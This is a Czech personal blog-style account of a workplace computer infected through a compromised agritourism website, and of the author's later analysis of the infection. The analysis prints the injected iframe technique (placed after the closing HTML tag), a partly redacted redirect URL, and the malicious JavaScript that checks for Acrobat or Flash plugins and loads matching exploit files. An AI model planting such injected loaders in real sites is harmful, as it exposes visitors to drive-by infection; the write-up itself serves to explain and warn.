Minulý čtvrtek jsem si zaviroval pracovní počítač. Myslel jsem si, že už mám aspoň trochu zkušeností a „že se mi něco takového přece nemůže stát“.
Než přišel lékař
Otevřel jsem si stránky o agroturistice, ve Firefoxu. Stránky mě přesměrovaly na jinou adresu, ale zobrazily se informace o agrofarmě. Vše se zdálo být v pořádku, až na jedinou věc. Zobrazilo se okno s chybou, kterou způsobil přehrávač Flashe. Nebylo to normální, ale teoreticky to ještě nemuselo nic zanamenat.
Bohužel znamenalo. Po nějaké době začal NOD32 hlásit přítomný spyware. Jeho umístění bylo ve Windows\System32 a název knihovny dll se jmenoval při každém hlášení jinak. Vždy ale připomínal název nějakého běžného ovladače. NOD soubor vždy smazal a za několik minut se objevila další varianta.
V té době již chodily zprávy našemu administrátorovi, který spustil na mém stroji kompletní test.
Já jsem jej spustil také, dokonce o něco dříve, takže nakonec sken proběhl dvakrát.
Černý pátek – prostě krize
V pátek jsem byl bez pracovní stanice a musel jsem se spokojit s notebookem. Využil jsem toho k nahlášení zdroje virové nákazy odboru bezpečnosti, který se postaral o komunikaci se správcem domény. Během krátké chvíle zdroj viru z nakažených stránek zmizel.
Kolega z odboru IKT mi mezitím odviroval počítač s bezpečným obnovením týdenní zálohy. Stal jsem se slavným, protože podobný zásah řešil již více než před dvěma měsíci.
A moje výzkumy viru?
S pomocí Ubuntu a Firefoxu s vypnutými skripty jsem odchytil techniku nakažení a nakonec i samotné jeho kódy.
Virus se do stránky připsal až za konec značky </html> v podobě <iframe>.
Statistiky návštěvnosti jsou důležité i pro viry
Zdroj iframe vedl do Číny. Na přesměrovací server, který navíc ještě měřil „návštěvnost“ podle konkrétního zdroje.
http://------.cn/in.cgi?income28
Pak server přesměruje návštěvníka na server, který mu poskytne vhodný „obsah“. Poskytnutí obsahu závisí na možnostech klienta. Kód je optimalizován na chybu Flashe i Acrobatu, což je docela nepříjemné.
JavaScript rozhodne
Musíme si ověřit, jestli má klient funkční Acrobat Reader. Pokud ano, podstrčíme mu PDF. Pokud ne, proč to nezkusit s Flashem? Máme i verzi SWF.
A zde už přichází slavný kód. Není jednoduchý?
<script> function pdfswf() { try { for(i = 0; i <= navigator.plugins.length; i++) { name = navigator.plugins[i].name; if((name.indexOf("Adobe Acrobat") != -1) || (name.indexOf("Adobe PDF") != -1)) { document.write('<iframe src="cache/readme.pdf"></iframe>'); } if(name.indexOf("Flash") != -1) { document.write('<iframe src="cache/flash.swf"></iframe>'); } } } catch(e){} } pdfswf(); </script>
A co dodat na závěr?
Myslete na uživatele a nabídněte jim alternativu obsahu. Dokáží to i čínské viry.